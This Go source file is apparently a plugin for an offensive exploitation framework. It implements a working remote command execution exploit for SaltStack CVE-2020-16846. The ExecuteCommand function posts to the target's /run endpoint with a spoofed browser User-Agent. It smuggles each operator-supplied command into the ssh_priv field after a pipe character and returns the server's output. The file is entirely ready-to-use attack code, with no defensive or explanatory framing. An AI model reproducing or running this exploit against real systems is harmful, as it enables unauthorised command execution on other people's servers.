package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
)

type SaltstackCve202016846 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp SaltstackCve202016846
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *SaltstackCve202016846) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "eb4094fb-b740-432e-9b99-690222823468",
		VulId:   "651bb1db-8877-4e7e-a751-6f41730875e5",
		Name:    "SaltStack_CVE_2020_16846",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *SaltstackCve202016846) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	newUrl, err := url.Parse(req.GetUrl().String() + `/run`)
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	req.RawRequest.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36")
	req.RawRequest.Header.Set("Accept", "application/x-yaml")
	req.RawRequest.Header.Set("Accept-Language", "en-US,en;q=0.5")
	req.RawRequest.Header.Set("Upgrade-Insecure-Requests", "1")
	req.RawRequest.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	for _, cmd := range expContext.CommandToExecute {
		cmdQuery := url.QueryEscape(cmd)
		body := "token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|" + cmdQuery + "%3B"
		req.SetBody([]byte(body))
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			return nil, err
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *SaltstackCve202016846) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *SaltstackCve202016846) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
